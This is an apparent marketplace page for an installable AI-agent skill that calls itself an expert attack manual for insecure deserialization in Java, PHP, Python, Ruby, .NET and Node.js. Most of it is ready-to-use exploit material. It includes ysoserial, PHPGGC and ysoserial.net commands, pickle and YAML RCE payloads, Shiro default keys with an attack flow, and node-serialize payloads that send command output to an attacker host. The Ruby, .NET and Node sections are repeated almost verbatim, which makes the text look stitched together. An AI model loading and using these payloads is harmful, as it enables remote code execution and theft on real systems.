mcpField
D
deserialization-insecure

deserialization-insecure

github.com/yaklang安全2.6k3.7k 次安装6 周前更新
代码仓库

关于 deserialization-insecure

用于调查 Java、PHP、Python、Ruby 和 .NET 不安全反序列化问题的安全测试技能。内容涵盖流量特征、gadget chain 选择、安全确认探针,以及 ysoserial 和 PHPGGC 等工具,面向有经验的测试人员。

主要功能

  1. 01多语言反序列化流量特征
  2. 02Java gadget chain 与版本线索
  3. 03ysoserial 与 PHPGGC 用法
  4. 04Python pickle 与 PHP Phar 分析
  5. 05安全确认探针与检测流程
  6. 06Ruby 和 .NET 参考内容

适用场景

  1. 01从请求或 Cookie 中识别序列化数据
  2. 02根据目标语言和依赖筛选 gadget chain
  3. 03用 URLDNS 探针确认 Java 反序列化
  4. 04审查不可信输入的反序列化风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill deserialization-insecure

安装后在 Claude Code 中输入/deserialization-insecure确认已加载。

附带文件JAVA_GADGET_CHAINS.md

详细介绍

技能:不安全反序列化——专家攻击手册

AI 加载指令:涵盖 Java、PHP 和 Python 的专家级反序列化技术。包括 Gadget 链选择、流量指纹识别、工具使用(ysoserial、PHPGGC)、Shiro/WebLogic/Commons Collections 专项、Phar 反序列化和 Python pickle 滥用。基础模型往往无法区分找到接收点与找到可用 Gadget 链。

0. 相关路由

  • 当反序列化导致 JNDI 查找时使用 jndi-injection(例如,通过 LDAP → 反序列化绕过 JDK 8u191 之后的限制)
  • 当反序列化端点是暴露的管理服务(RMI Registry、T3、AJP)时使用 unauthorized-access-common-services
  • 当 WAF 阻止你的 BCEL ClassLoader 或 Fastjson @type 载荷时使用 ghost-bits-cast-attack——Ghost Bits 会将每个字节码字节封装在低 8 位与其匹配的 Unicode 字符中,从而生成 WAF 无法识别指纹的载荷
进阶参考

在以下情况下,还需加载 JAVA_GADGET_CHAINS.md:

  • Java Gadget 链版本兼容性矩阵(CommonsCollections 1–7、CommonsBeanutils、Spring、仅依赖 JDK、Groovy、Hibernate、ROME、C3P0 等)
  • SnakeYAML Gadget(ScriptEngineManager/URLClassLoader)及利用 JAR 结构
  • Hessian/Kryo/Avro/XStream 反序列化模式和流量指纹
  • .NET ViewState 反序列化(machineKey 要求、使用 ysoserial.net 伪造 ViewState、Blacklist3r)
  • Ruby YAML.load 与 YAML.safe_load 利用及特定版本链
  • 检测指纹:按格式列出的魔数表(Java AC ED、.NET AAEAAD、Python pickle 80 0N、PHP O:、Ruby 04 08)

1. 流量指纹识别——这是否为反序列化?

Java 序列化对象
指标查找位置
十六进制 ac ed 00 05请求/响应正文、Cookie、POST 参数中的原始二进制数据
Base64 rO0ABCookie(rememberMe)、隐藏表单字段、JWT 声明
Content-Type: application/x-java-serialized-objectHTTP 标头
T3/IIOP 协议流量WebLogic 端口(7001、7002)
PHP 序列化对象
指标查找位置
O:NUMBER:"ClassName" 模式POST 正文、Cookie、会话文件
a:NUMBER:{(数组)同上
使用 phar:// URI接受用户控制路径的文件操作
Python Pickle
指标查找位置
十六进制 80 03 或 80 04(协议 3/4)请求、消息队列中的二进制数据
Base64 编码的二进制数据块API 参数、Cookie、Redis 值
源代码中的 pickle.loads / pickle.load代码审查 / 白盒审查

2. JAVA——GADGET 链和工具

ysoserial——主要工具
# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin

# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0

# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7  — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2       — Spring Framework
# Groovy1               — Groovy
# Hibernate1            — Hibernate
# JBossInterceptors1    — JBoss
# Jdk7u21               — JDK 7u21 (no extra dependency)
# URLDNS                — DNS-only confirmation (no RCE, works everywhere)
URLDNS——安全确认探测

URLDNS 会触发 DNS 查找,但不会造成 RCE,可安全用于确认反序列化且不造成损害:

java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin

协作服务器收到 DNS 请求 = 已确认反序列化。然后升级到 RCE 链。

Commons Collections——经典链

当 org.apache.commons.collections(3.x)位于类路径中,且应用对不可信数据调用 readObject() 时,就会存在此漏洞。

该链中的关键类:InvokerTransformer → ChainedTransformer → TransformedMap → 在反序列化过程中触发 Runtime.exec()。

Apache Shiro — rememberMe 反序列化

Shiro 使用 AES-CBC 加密 rememberMe Cookie 中序列化的 Java 对象。

Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA==          # most common default
wGJlpLanyXlVB1LUUWolBg==          # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==

攻击流程:

  1. 检测:会话无效时,响应会设置 rememberMe=deleteMe Cookie
  2. 生成 ysoserial 载荷(为广泛兼容性推荐使用 CommonsCollections6)
  3. 使用已知密钥和随机 IV 进行 AES-CBC 加密
  4. 进行 Base64 编码 → 将其设为 rememberMe Cookie 值
  5. 发送请求 → 服务端解密 → 反序列化 → RCE

DNSLog 确认(完整 RCE 之前):使用 URLDNS 链 → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → 加密 → 设置 Cookie → 检查 DNSLog 是否收到请求。

修复后(随机密钥):密钥仍可能通过填充预言机泄露,或通过其他 CVE(SHIRO-721)泄露。

WebLogic 反序列化

多种攻击向量:

  • T3 协议(端口 7001):直接注入序列化对象
  • XMLDecoder(CVE-2017-10271):通过 /wls-wsat/CoordinatorPortType 进行基于 XML 的反序列化
  • IIOP 协议:T3 的替代方案
# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner
Java RMI Registry

RMI Registry(端口 1099)按设计会接受序列化对象:

# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"

# Requires: vulnerable library on target's classpath
# Works on: JDK <= 8u111 without JEP 290 deserialization filter
JDK 版本限制
JDK 版本影响
< 8u121RMI/LDAP 远程类加载可用
8u121-8u190RMI 的 trustURLCodebase=false;LDAP 仍可用
>= 8u191RMI 和 LDAP 远程类加载均被阻止
>= 8u191 绕过方式使用 LDAP → 返回序列化的 gadget 对象(而非远程类)

3. PHP — unserialize 和 PHAR

魔术方法链

PHP 反序列化会按顺序触发魔术方法:

__wakeup()  → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call()     → called for inaccessible methods

攻击:构造一个序列化对象,使其 __destruct() 或 __wakeup() 触发危险操作(写入文件、执行 SQL 查询、命令执行、SSRF)。

序列化对象格式
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
phpMyAdmin 配置注入(真实案例)

phpMyAdmin 的 PMA_Config 类可通过 source 属性读取任意文件:

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
PHPGGC — PHP Gadget 链生成器
# List available chains:
phpggc -l

# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id

# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1
Phar 反序列化

Phar 归档包含序列化元数据。对 phar:// URI 执行任何文件操作都会触发反序列化,即使从未直接调用 unserialize()。

触发函数(部分列表):

file_exists()    file_get_contents()    fopen()
is_file()        is_dir()               copy()
filesize()       filetype()             stat()
include()        require()              getimagesize()

攻击流程:

  1. 上传有效文件(例如,包含 phar polyglot 的 JPEG)
  2. 触发文件操作:file_exists("phar://uploads/avatar.jpg")
  3. PHP 反序列化 phar 元数据 → 执行 gadget 链
# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id

4. PYTHON — PICKLE

reduce 方法

Python 的 pickle.loads() 会在反序列化期间调用对象的 __reduce__(),后者可以返回一个可调用对象和参数:

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))

payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()
分析 Pickle 操作码
import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
常见 Python 反序列化入口
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data)           # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)
防御绕过:RestrictedUnpickler

即使使用了 RestrictedUnpickler.find_class,也要检查白名单是否过于宽泛:

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"forbidden: {module}.{name}")

如果 safe_builtins 包含 eval、exec 或 __import__,仍然可以被利用。


5. 检测方法

Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│   ├── Use URLDNS probe for safe confirmation
│   ├── Identify libraries (error messages, known product)
│   └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│   ├── Identify framework (Laravel, Symfony, WordPress)
│   ├── Try PHPGGC chains for that framework
│   └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│   ├── Try pickle payload with DNS callback
│   └── Check if PyYAML unsafe load is used
│
└── Not sure?
    ├── Try URLDNS payload (Java) — check DNS
    ├── Try PHP serialized test string
    └── Monitor error messages for class loading failures

6. 防御须知

语言缓解措施
Java使用 JEP 290 反序列化过滤器;将允许的类列入白名单;避免对不可信数据使用 ObjectInputStream;改用 JSON/Protobuf
PHP避免对用户输入使用 unserialize();改用 json_decode();在文件操作中阻止 phar://
Python仅对可信数据使用 pickle;对外部输入使用 json;PyYAML:始终使用 yaml.safe_load()

7. 快速参考 — 关键载荷

# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"

# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"

# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"

# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"

# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"

# Shiro default key test
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>

8. RUBY 反序列化

Ruby Marshal
  • 对不可信数据使用 Marshal.load → RCE
  • 特征:二进制数据,无常见文本头
  • 多种 Ruby 版本均存在 gadget 链
  • Docker 验证:通过 [hex_string].pack("H*") 使用十六进制载荷
Ruby YAML(YAML.load)
  • YAML.load(而非 YAML.safe_load)会执行任意 Ruby 对象

  • Ruby 2.7.2 之前:Gem::Requirement 链 → git_set: id / git_set: sleep 600

  • Ruby 2.x-3.x:Gem::Installer → TarReader → Kernel#system 链(步骤更多、更复杂)

  • 始终测试:YAML.load("--- !ruby/object:Gem::Installer\ni: x"),以检查类实例化

  • 载荷模板:

--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  type: :runtime
  specs:
    - !ruby/object:Gem::StubSpecification
      loaded_from: "|id"
  • 注意:YAML.safe_load 是安全的(Ruby 2.1+);Psych.safe_load 也安全

9. .NET 反序列化

  • 流量指纹:

    • BinaryFormatter:十六进制 AAEAAD(base64 AAEAAAD/////)
    • ViewState:十六进制 FF01 或 /w 前缀
    • JSON.NET:JSON 中的 $type 属性
  • BinaryFormatter(最危险,.NET 5+ 中已弃用):任意类型实例化

  • XmlSerializer:通过 ObjectDataProvider + XamlReader 链执行命令

    <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider">
      <od:MethodName>Start</od:MethodName>
      <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters>
      <od:ObjectInstance xsi:type="System.Diagnostics.Process"/>
    </root>
    
  • NetDataContractSerializer:与 BinaryFormatter 类似,在 XML 中包含完整类型信息

  • LosFormatter:用于 ViewState,反序列化为 ObjectStateFormatter

  • JSON.NET:$type 属性可控制类型 → ObjectDataProvider + ExpandedWrapper 链

    {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}
    
  • 工具:ysoserial.net — 为所有 .NET 格式化器生成载荷

    ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64
    ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc"
    
  • POP gadget:ObjectDataProvider、ExpandedWrapper、AssemblyInstaller.set_Path


10. NODE.JS 反序列化

  • node-serialize:使用 IIFE(立即调用函数表达式)的 unserialize()

    • 载荷标记:_$$ND_FUNC$$_
    • 在末尾添加 () 以自动执行:
    {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"}
    
  • funcster:__js_function 属性 → 使用 constructor.constructor 访问 process

    {"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"}
    
  • cryo:与 funcster 类似,可序列化支持函数的 JS 对象


RUBY 反序列化

Marshal(二进制格式)
# Ruby's Marshal.load is equivalent to Java's ObjectInputStream
# Any class with marshal_dump/marshal_load can be a gadget

# Detection: binary data starting with \x04\x08
# Or hex: 0408

# PoC gadget (requires vulnerable class in scope):
payload = "\x04\x08..." # hex-encoded gadget chain
Marshal.load(payload)    # triggers arbitrary code execution
YAML.load(严重 — 最常见的 Ruby 反序列化入口)
# YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects

# Ruby <= 2.7.2 — Gem::Requirement chain:
# Triggers via !ruby/object constructor
---
!ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
    - !ruby/object:Gem::Source
      current_fetch_uri: !ruby/object:URI::Generic
        path: "| id"

# Ruby 2.x–3.x — Gem::Installer chain:
# Uses Gem::Installer → Gem::StubSpecification → Kernel#system
---
!ruby/hash:Gem::Installer
i: x
!ruby/hash:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::Package::TarReader
  io: &1 !ruby/object:Net::BufferedIO
    io: &1 !ruby/object:Gem::Package::TarReader::Entry
      read: 0
      header: "abc"
    debug_output: &1 !ruby/object:Net::WriteAdapter
      socket: &1 !ruby/object:Gem::RequestSet
        sets: !ruby/object:Net::WriteAdapter
          socket: !ruby/module 'Kernel'
          method_id: :system
        git_set: id    # <-- command to execute
      method_id: :resolve

# Safe alternative: YAML.safe_load (whitelist of allowed types)
工具
  • elttam/ruby-deserialization — Ruby gadget 链生成器
  • 参考 frohoff/ysoserial → 查找 Ruby 专用分支

.NET 反序列化

流量指纹识别
指示特征序列化器
十六进制 00 01 00 00 00 / Base64 AAEAADBinaryFormatter
十六进制 FF 01 / Base64 /wDataContractSerializer
ViewState 以 __VIEWSTATE 开头LosFormatter / ObjectStateFormatter
JSON 中包含 $type 属性JSON.NET(Newtonsoft)TypeNameHandling
XML 中包含 <ObjectDataProvider>XmlSerializer / NetDataContractSerializer
BinaryFormatter / LosFormatter
# Most dangerous — arbitrary type instantiation
# Tool: ysoserial.net

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\\out.txt" -o base64

# LosFormatter wraps BinaryFormatter — same gadgets work
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
XmlSerializer + ObjectDataProvider
<root>
  <ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
    <ObjectDataProvider.MethodParameters>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
    </ObjectDataProvider.MethodParameters>
    <ObjectDataProvider.ObjectInstance>
      <ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
        <ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
        <ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
      </ProcessStartInfo>
    </ObjectDataProvider.ObjectInstance>
  </ObjectDataProvider>
</root>
带 TypeNameHandling 的 JSON.NET
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}

当 TypeNameHandling 设置为 Auto、Objects、Arrays 或 All 时存在漏洞。

工具
  • pwntester/ysoserial.net — 主要的 .NET 反序列化载荷生成器
  • Gadget 链:TypeConfuseDelegate、TextFormattingRunProperties、PSObject、ActivitySurrogateSelectorFromFile

NODE.JS 反序列化

node-serialize(IIFE 模式)
// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:

var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';

// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function

// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"[email protected]"}
funcster
// funcster deserializes functions via constructor.constructor pattern:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}
PHP create_function + 反序列化组合
// When a PHP class uses create_function in __destruct or __wakeup:
// Serialize an object where:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function(){ ;}system('id');/* }
// Closing the original function body and injecting a command

// In serialized form, private properties need \0ClassName\0 prefix:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}

11. RUBY 反序列化

Marshal
# Ruby's native serialization. Dangerous when deserializing untrusted data.
# Detection: Binary data starting with \x04\x08

# One-liner gadget verification (hex-encoded payload):
payload = ["040802"].pack("H*")  # Minimal Marshal header
Marshal.load(payload)
YAML(CVE 丰富的攻击面)
# YAML.load is DANGEROUS — equivalent to eval for Ruby objects
# Safe alternative: YAML.safe_load

# Ruby <= 2.7.2: Gem::Requirement chain
--- !ruby/object:Gem::Requirement
requirements:
  - !ruby/object:Gem::DependencyList
    specs:
    - !ruby/object:Gem::Source
      uri: "| id"

# Ruby 2.x-3.x: Gem::Installer chain (more complex)
# Triggers: git_set → Kernel#system
--- !ruby/object:Gem::Installer
i: x
# (Full chain available in ysoserial-ruby / blind-ruby-deserialization)

# Universal detection: supply YAML that triggers DNS callback
--- !ruby/object:Gem::Fetcher
uri: http://BURP_COLLAB/

工具:elttam/ruby-deserialization、mbechler/ysoserial(Ruby 变体)


12. .NET 反序列化

指纹识别
魔数格式
AAEAAD(base64)/ 00 01 00 00 00(十六进制)BinaryFormatter
FF 01 或 /w(base64)ViewState(ObjectStateFormatter)
<(XML 起始符)XmlSerializer / DataContractSerializer
包含 $type 键的 JSONJSON.NET(已启用 TypeNameHandling)
BinaryFormatter(最危险)
# Always dangerous when deserializing untrusted data
# Tool: ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "whoami" -o base64
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc" -o raw
ViewState(ASP.NET)
# If __VIEWSTATE is not MAC-protected (enableViewStateMac=false):
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KNOWN_KEY"

# Leak machineKey from web.config (via LFI/backup) → forge ViewState
XmlSerializer + ObjectDataProvider
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
      xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ObjectDataProvider MethodName="Start">
    <ObjectInstance xsi:type="Process">
      <StartInfo>
        <FileName>cmd.exe</FileName>
        <Arguments>/c whoami</Arguments>
      </StartInfo>
    </ObjectInstance>
  </ObjectDataProvider>
</root>
JSON.NET(滥用 $type)
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System",
    "StartInfo": {
      "$type": "System.Diagnostics.ProcessStartInfo, System",
      "FileName": "cmd.exe",
      "Arguments": "/c whoami"
    }
  }
}

当 JSON 反序列化设置中的 TypeNameHandling != None 时存在漏洞。

工具
  • pwntester/ysoserial.net — 主要的 .NET gadget 链生成器
  • NotSoSecure/Blacklist3r — 使用已知的 machineKey 解密/伪造 ViewState

13. NODE.JS 反序列化

node-serialize (IIFE injection)
// Vulnerable pattern:
var serialize = require('node-serialize');
var obj = serialize.unserialize(userInput);

// Payload: IIFE (Immediately Invoked Function Expression)
// The _$$ND_FUNC$$_ prefix signals a serialized function
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}

// Key: the () at the end causes immediate execution upon deserialization
funcster
// Vulnerable: funcster.deepDeserialize(userInput)
// Payload uses __js_function to inject via constructor chain:
{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}
PHP create_function + Deserialization Combo
// When create_function is available and object is deserialized:
// Payload creates lambda with injected code:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function anonymous() { ;}system('id');/* }
// Effective: close original body, inject command, comment out rest

// In serialized form (with private property \0ClassName\0):
O:8:"ClassName":2:{s:13:"\0ClassName\0func";s:15:"create_function";s:12:"\0ClassName\0arg";s:18:";}system('id');/*";}

评论

支持 Markdown